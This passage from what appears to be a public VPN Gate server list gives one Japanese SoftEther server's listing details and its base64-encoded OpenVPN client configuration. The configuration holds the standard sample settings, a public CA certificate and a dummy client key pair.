S0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn284736039,222.150.184.169,502668,36,46433838,Japan,JP,0,1000,54381,4006929842017,2weeks,良一自宅's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjIuMTUwLjE4NC4xNjkgMTMzMg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTk